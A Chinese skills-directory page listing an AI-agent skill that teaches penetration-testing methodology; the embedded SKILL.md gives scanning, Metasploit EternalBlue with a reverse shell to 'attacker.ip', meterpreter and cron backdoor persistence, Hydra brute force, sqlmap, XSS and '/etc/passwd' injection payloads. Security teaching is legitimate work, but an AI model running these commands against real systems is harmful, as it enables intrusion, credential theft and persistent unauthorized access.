Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问clear审计异常

ethical-hacking-methodology道德黑客方法论

Agent Skill

ethical-hacking-methodology 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

3,714

周安装

102

GitHub Stars

4,114

下载量

1,227
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

3

许可证

MIT

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:ethical-hacking-methodology(道德黑客方法论)
来源仓库:https://github.com/zebbern/claude-code-guide
仓库路径:skills/ethical-hacking-methodology
安装命令:
npx skills add https://github.com/zebbern/claude-code-guide --skill 'Ethical Hacking Methodology'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。不同来源提供的安装方式可能略有差异;本站展示可直接复制的安装命令,安装前请核对来源页面。

skills.shnpx skills
npx skills add https://github.com/zebbern/claude-code-guide --skill 'Ethical Hacking Methodology'

简介

zebbern-claude-code-guide-ethical-hacking-methodology 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。

  • 它可结合来源仓库、安装命令和原始 README 继续核验具体用法。
  • 安装方式是通过 npx skills add 命令从指定 GitHub 仓库添加。
  • 使用前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

  • Kali Linux installed (persistent or live)
  • Network access to authorized targets
  • Written authorization from system owner

Required Knowledge

  • Basic networking concepts
  • Linux command-line proficiency
  • Understanding of web technologies
  • Familiarity with security concepts

Outputs and Deliverables

  1. Reconnaissance Report - Target information gathered
  2. Vulnerability Assessment - Identified weaknesses
  3. Exploitation Evidence - Proof of concept attacks
  4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

  • Authorized security professionals
  • Conduct penetration testing with permission
  • Goal: Identify and fix vulnerabilities
  • Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

  • Unauthorized system intrusions
  • Motivated by profit, revenge, or notoriety
  • Goal: Steal data, cause damage
  • Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

  • May cross ethical boundaries
  • Not malicious but may break rules
  • Often disclose vulnerabilities publicly
  • Mixed motivations

Other Classifications

  • Script Kiddies: Use pre-made tools without understanding
  • Hacktivists: Politically or socially motivated
  • Nation State: Government-sponsored operatives
  • Coders: Develop tools and exploits

Phase 2: Reconnaissance

Gather information without direct system interaction:

Passive Reconnaissance

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

  • Files containing passwords
  • Sensitive directories
  • Web server detection
  • Vulnerable servers
  • Error messages
  • Login portals

Social Media Reconnaissance

  • LinkedIn: Organizational charts, technologies used
  • Twitter: Company announcements, employee info
  • Facebook: Personal information, relationships
  • Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

PortServiceNotes
21FTPFile transfer
22SSHSecure shell
23TelnetUnencrypted remote
25SMTPEmail
53DNSName resolution
80HTTPWeb
443HTTPSSecure web
445SMBWindows shares
3306MySQLDatabase
3389RDPRemote desktop

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus (via API)
nessuscli scan --target target.com

Web Application Testing (OWASP)

  • SQL Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication
  • Security Misconfiguration
  • Sensitive Data Exposure
  • XML External Entities (XXE)
  • Broken Access Control
  • Insecure Deserialization
  • Using Components with Known Vulnerabilities
  • Insufficient Logging & Monitoring

Manual Techniques

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Maintaining Access

Establish persistent access:

Backdoors

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

Privilege Escalation

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

Covering Tracks (Ethical Context)

  • Document all actions taken
  • Maintain logs for reporting
  • Avoid unnecessary system changes
  • Clean up test files and backdoors

Phase 7: Reporting

Document findings professionally:

Report Structure

  1. Executive Summary

- High-level findings - Business impact - Risk ratings - Remediation priorities

  1. Technical Findings

- Vulnerability details - Proof of concept - Screenshots/evidence - Affected systems

  1. Risk Ratings

- Critical: Immediate action required - High: Address within 24-48 hours - Medium: Address within 1 week - Low: Address within 1 month - Informational: Best practice recommendations

  1. Remediation Recommendations

- Specific fixes for each finding - Short-term mitigations - Long-term solutions - Resource requirements

  1. Appendices

- Detailed scan outputs - Tool configurations - Testing timeline - Scope and methodology

Phase 8: Common Attack Types

Phishing

  • Email-based credential theft
  • Fake login pages
  • Malicious attachments
  • Social engineering component

Malware Types

  • Virus: Self-replicating, needs host file
  • Worm: Self-propagating across networks
  • Trojan: Disguised as legitimate software
  • Ransomware: Encrypts files for ransom
  • Rootkit: Hidden system-level access
  • Spyware: Monitors user activity

Network Attacks

  • Man-in-the-Middle (MITM)
  • ARP Spoofing
  • DNS Poisoning
  • DDoS (Distributed Denial of Service)

Phase 9: Kali Linux Setup

Install penetration testing platform:

Hard Disk Installation

  1. Download ISO from kali.org
  2. Boot from installation media
  3. Select "Graphical Install"
  4. Configure language, location, keyboard
  5. Set hostname and root password
  6. Partition disk (Guided - use entire disk)
  7. Install GRUB bootloader
  8. Reboot and login

Live USB (Persistent)

# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress

# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"

# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Phase 10: Ethical Guidelines

Legal Requirements

  • Obtain written authorization
  • Define scope clearly
  • Document all testing activities
  • Report all findings to client
  • Maintain confidentiality

Professional Conduct

  • Work ethically with integrity
  • Respect privacy of data accessed
  • Avoid unnecessary system damage
  • Execute planned tests only
  • Never use findings for personal gain

Quick Reference

Penetration Testing Lifecycle

StagePurposeKey Tools
ReconnaissanceGather informationtheHarvester, WHOIS, Google
ScanningEnumerate targetsNmap, Nikto, Gobuster
ExploitationGain accessMetasploit, SQLMap, Hydra
Maintaining AccessPersistenceMeterpreter, SSH keys
ReportingDocument findingsReport templates

Essential Commands

CommandPurpose
nmap -sV targetPort and service scan
nikto -h targetWeb vulnerability scan
msfconsoleStart Metasploit
hydra -l user -P list ssh://targetSSH brute force
sqlmap -u "url?id=1" --dbsSQL injection

Constraints and Limitations

Authorization Required

  • Never test without written permission
  • Stay within defined scope
  • Report unauthorized access attempts

Professional Standards

  • Follow rules of engagement
  • Maintain client confidentiality
  • Document methodology used
  • Provide actionable recommendations

Troubleshooting

Scans Blocked

Solutions:

  1. Use slower scan rates
  2. Try different scanning techniques
  3. Use proxy or VPN
  4. Fragment packets

Exploits Failing

Solutions:

  1. Verify target vulnerability exists
  2. Check payload compatibility
  3. Adjust exploit parameters
  4. Try alternative exploits

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

04

需要参考平台分布和安装热度时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Antigravity

33.37%
按下载量换算409

Claude Code

21.84%
按下载量换算268

trae

16.48%
按下载量换算202

OpenCode

14.63%
按下载量换算180

Gemini CLI

7.24%
按下载量换算89

windsurf

3.7%
按下载量换算45

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/claude-code-guide --skill 'Ethical Hacking Methodology';npx skills add zebbern/claude-code-guide --skill "ethical-hacking-methodology" 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。来源字段存在多来源差异,先按来源优先级自动处理,无法消解时进入异常复核队列。

来源信息

继续浏览同类 Skills